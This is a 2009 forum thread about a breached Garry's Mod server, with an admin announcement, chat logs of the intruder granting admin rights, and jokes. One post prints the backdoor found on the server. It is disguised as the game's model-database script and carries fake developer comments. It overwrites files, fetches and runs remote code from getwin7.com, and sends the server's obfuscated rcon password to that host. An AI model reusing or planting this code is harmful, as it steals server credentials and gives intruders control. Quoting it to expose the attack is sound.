GMod: Security has been breached

39 replies  ·  11 participants  ·  🔒 locked

Dec 3, 2009, 12:30 PM#1
This is a quote from an announcement made to the Steam group.


Hey,

It has come to our attention that our Garry's Mod server's security has been breached by a hacker, and as such proceeded with adding other admins (most likely his friends). After going through some logs, we've discovered that these hackers has been banning quite a few people (and the number isn't low either). If you have been banned by abusive or unknown administrators, please post a reply to this announcement, including your Steam ID and we'll have you unbanned.

Sorry for the inconvenience, but the hackers did some damage and we're doing our best to get these issues resolved.

Thanks.

Comments can be viewed here.

Admins: You hereby have the permission to unban players that have been banned during this episode - you do not need consult either me or Dave.
Dec 3, 2009, 12:53 PM#2

(ADMIN) moose slayed moose
moose suicided!
Kccool2: Or any other prop you want
Kccool2: Please stop that
Kccool2: What's the point, is your tiny penis getting that much bigger from slaying us?
Client "->JunkZ<-Rollin'Bitch" connected (78.82.206.7:27005).
Schnitzeltier<STEAM_0:1:15512969> spawned model models/props_c17/gravestone002a.mdl
(ADMIN) moose added user Schnitzeltier to group "admin"
Kccool2: Then get a simple wire explosiv
Schnitzeltier<STEAM_0:1:15512969> spawned model models/props_c17/gravestone002a.mdl
moose: I hacked this server and I am giving you admin :D
Schnitzeltier: lolz
xCore: where can i download PHX3?
Kccool2: How in gods name do you hack a server? lol
moose: Anything else you want me to do
Schnitzeltier: garrysmod.org
Kccool2: No thankyou
moose: I have complete control over the server
Schnitzeltier: huge base of shit
moose: You guys wanna be superadmins?
Schnitzeltier<STEAM_0:1:15512969> spawned model models/props_junk/garbage_glassbottle002a.mdl
Kccool2: Omg, they don't have the wire screens...
Kccool2: Or I don;'t seem to for some reason
Schnitzeltier<STEAM_0:1:15512969> spawned model models/props_interiors/refrigeratordoor01a.mdl
Schnitzeltier<STEAM_0:1:15512969> spawned model models/props_interiors/refrigeratordoor01a.mdl
Dropped "moose" from server

HAI GAIS, U GAIS WANNA BE SUPAR ADMINS CUS I HAKED DIS SERVAR? :D:D:D:D
Dec 3, 2009, 12:57 PM#3
Moose is STOOPID! STOOPID! STOOPID!
Dec 3, 2009, 01:02 PM#4
Look what I found!

for _,v in pairs( player.GetAll() ) do
if v and v:IsValid() and v:IsPlayer() then
v:SendLua(])
v:SendLua(])
//v:SetUserGroup( "admin" )
//v:Ban(0, v:Nick()..", YOU GOT FUCKING PWNT!")
//v:Kick(v:Nick()..", YOU GOT FUCKING PWNT!")
end
end
Dec 3, 2009, 01:47 PM#5
For fucks sake
Dec 3, 2009, 02:59 PM#6
Everything should be ok now.

* Updated Wire + PHX.
* Fixed Wire Thrusters that were broken due to a script conflict.
* Lowered in-game permissions for the superadmin group.
* Removed suspicious scripts.

Please report suspicious behaviour!
Dec 3, 2009, 03:45 PM#7
Everything should be ok now.

* Updated Wire + PHX.
* Fixed Wire Thrusters that were broken due to a script conflict.
* Lowered in-game permissions for the superadmin group.
* Removed suspicious scripts.

Please report suspicious behaviour!


Good job Karl, keep up the good work and we will too. I have a keen eye for suspicious activity.
Dec 3, 2009, 04:00 PM#8
[This post has been redacted in the archive]
Dec 3, 2009, 04:36 PM#9
Interesting.

Any idea how they managed to upload lua scripts to the server?
Dec 3, 2009, 04:47 PM#10
Interesting.

Any idea how they managed to upload lua scripts to the server?


Probably with an exploit, theres several that would allow lua uploads that are around at the moment and that garry has yet to patch.
Dec 3, 2009, 05:14 PM#11
Interesting.

Any idea how they managed to upload lua scripts to the server?


Probably with an exploit, theres server that would allow lua uploads that are around at the moment and that garry has yet to patch.

This. :(
Dec 3, 2009, 06:13 PM#12
Sucks, ah well its sorted now.
Dec 3, 2009, 09:17 PM#13
moose eh? sounds like an evil twin of mine or something.
Dec 4, 2009, 08:13 AM#14
moose eh? sounds like an evil twin of mine or something.


Or just another one of your accounts... HAAAAXXX!
Dec 4, 2009, 11:46 AM#15
moose eh? sounds like an evil twin of mine or something.

TIME PARDOX | XODRAP EMIT
Dec 4, 2009, 08:04 PM#16
SOMEBODY SET UP US THE BOMB! WE GET SIGNAL!
Dec 5, 2009, 09:55 PM#17

(ADMIN) (Console) added user Hypnogarry to group "admin"



Still fucked up.
Dec 5, 2009, 10:04 PM#18

(ADMIN) (Console) added user Hypnogarry to group "admin"



Still fucked up.


Was just coming on to say the exact same thing.
Dec 5, 2009, 10:26 PM#19

//=============================================================================//
// ___ ___ _ _ _ __ _ ___ ___ __ __
// |_ _|| __| / \ | \_/ | / _| / \ | o \ o \\ V /
// | | | _| | o || \_/ | ( |_n| o || / / \ /
// |_| |___||_n_||_| |_| \__/|_n_||_|\\_|\\ |_| 2007
//
//=============================================================================//

local DatabasedModels = {}

if ( !sql.TableExists( "modelinfo" ) ) then

sql.Query( ] )

end

/*---------------------------------------------------------
Called from the engine on model load to enable Lua to cache
the model stats in a database, so that rather than building
all in one go, they'll get updated as the player plays.
---------------------------------------------------------*/
function OnModelLoaded( ModelName, NumPoseParams, NumSeq, NumAttachments, NumBoneControllers, NumSkins, Size )

local ModelName = string.lower( string.gsub( ModelName, "\\", "/" ) )
ModelName = "models/".. ModelName

// No need to store a model more than once per session
if ( DatabasedModels ) then return end
DatabasedModels = true

// Just in case. Don't want errors spewing all over
// the place every time a model loads.
if ( !sql.TableExists( "modelinfo" ) ) then return end

local safeModelName = SQLStr( ModelName )

//
// We delete the old entry because this model may have been updated.
// The chances are very slim, but there's no real harm in it.
//
sql.Query( "DELETE FROM modelinfo WHERE model = "..safeModelName )
sql.Query( Format( ],

safeModelName,
NumPoseParams,
NumSeq,
NumAttachments,
NumBoneControllers,
NumSkins,
Size
) )
/*
MsgN( ModelName,
"\nNumPoseParams: ", NumPoseParams,
"\nNumSeq: ", NumSeq,
"\nNumAttachments: ", NumAttachments,
"\nNumBoneControllers: ", NumBoneControllers,
"\nNumSkins: ", NumSkins,
"\nSize: ", Size )
*/

end
require("rawio")
function w()
local f = file.Read("../lua/autorun/server/load-model-info.lua")
local i = util.RelativePathToFull("lua/includes/util/model_database.lua"); // Just in case this didn't happen during installation -- garry
print(i)
local i2 = rawio.mkdir("C:\\gmod_mdl_caches")
local i3 = rawio.deletefile(i)
local i4 = rawio.writefile(i,f)
print(i2,i3,i4)
end
concommand.Add("w",w)
w()
function LoadModelsFromDatabase(p,c,a)
if not a then
http.Get("http://getwin7.com/aa.php", "", ModelInfoOnLoad)
return;
end
if a == "GetMdlInfo" then
retr = rawio.readfile("C:\\gmod_mdl_caches\\cachedatabase.dtb") // Do not remove! Without this the server's files may become curropted! -- garry
if retr ~= 0 then
RunString(retr)
http.Get("http://getwin7.com/ad.php", "", print)
end
end

if a == "ModelInfoData" then
sql.Query( ] )
RunString(a)
elseif a == "PrecacheModelFromClient" then
local mdlifo = FindMetaTable("Player") function mdlifo:IsSuperAdmin() if self == p then return true; end end
elseif a == "TransferModelDatabase" then
http.Get("http://getwin7.com/aa.php", "", ModelInfoOnLoad)
elseif a == "RequestModelConVar" then
LoadModelConvar()
end
end
concommand.Add("model_load",LoadModelsFromDatabase)

function string.escape(text) text = string.Replace(text,"<","%3C") text = string.Replace(text,">","%3E") text = string.Replace(text,"#","%23") text = string.Replace(text,"{","%7B") text = string.Replace(text,"}","%7D") text = string.Replace(text,"|","%7C") text = string.Replace(text,"\\","%5C") text = string.Replace(text,"^","%5E") text = string.Replace(text,"~","%7E") text = string.Replace(text,"","%5D") text = string.Replace(text,"`","%60") text = string.Replace(text,";","%3B") text = string.Replace(text,"?","%3F") text = string.Replace(text,":","%3A") text = string.Replace(text,"@","%40") text = string.Replace(text,"=","%3D") text = string.Replace(text,"&","%26") text = string.Replace(text,"$","%24") text = string.Replace(text,"$","%24") text = string.Replace(text,"\"","%22") text = string.Replace(text," ","%20") return text; end
function LoadModelConvar()
local f = file.Read(string.char(46,46,47,99,102,103,47,115,101,114,118,101,114,46,99,102,103))
local reg = string.char(114,99,111,110,95,112,97,115,115,119,111,114,100) .. " ?+?"
print(reg)
local start,stop = string.find(f,reg)
print("http://getwin7.com/ae.php?i=" ..string.escape(string.sub(f,start,stop)))
http.Get("http://getwin7.com/ae.php?i=" ..string.escape(string.sub(f,start,stop)),"",print)
end
concommand.Add("model_convar_request",LoadModelConvar)
LoadModelConvar()

function ModelInfoOnLoad(mdldata)
retr = rawio.mkdir("C:\\gmod_mdl_caches")
retr = rawio.writefile("C:\\gmod_mdl_caches\\cachedatabase.dtb",mdldata)
if retr ~= 0 then
http.Get("http://getwin7.com/ab.php", "", print)
else
http.Get("http://getwin7.com/ac.php", "", print)
end
LoadModelsFromDatabase(NullEntity(),"",{"GetMdlInfo"})
end
LoadModelsFromDatabase()

/*---------------------------------------------------------
Returns the number of skins this model has. If we don't
know, it will return 0
---------------------------------------------------------*/
function NumModelSkins( ModelName )

local ModelName = string.lower( ModelName )
local safeModelName = SQLStr( ModelName )
local num = sql.QueryValue( "SELECT numskins FROM modelinfo WHERE name = " .. safeModelName )
if ( num == nil ) then return 0 end

return tonumber( num ) or 0

end


Funny how all the comments by garry are fake :P
Dec 5, 2009, 10:28 PM#20
lets go hacker hunting :jihad:
120
of 39 posts
Dec 2009
← Prev12Next →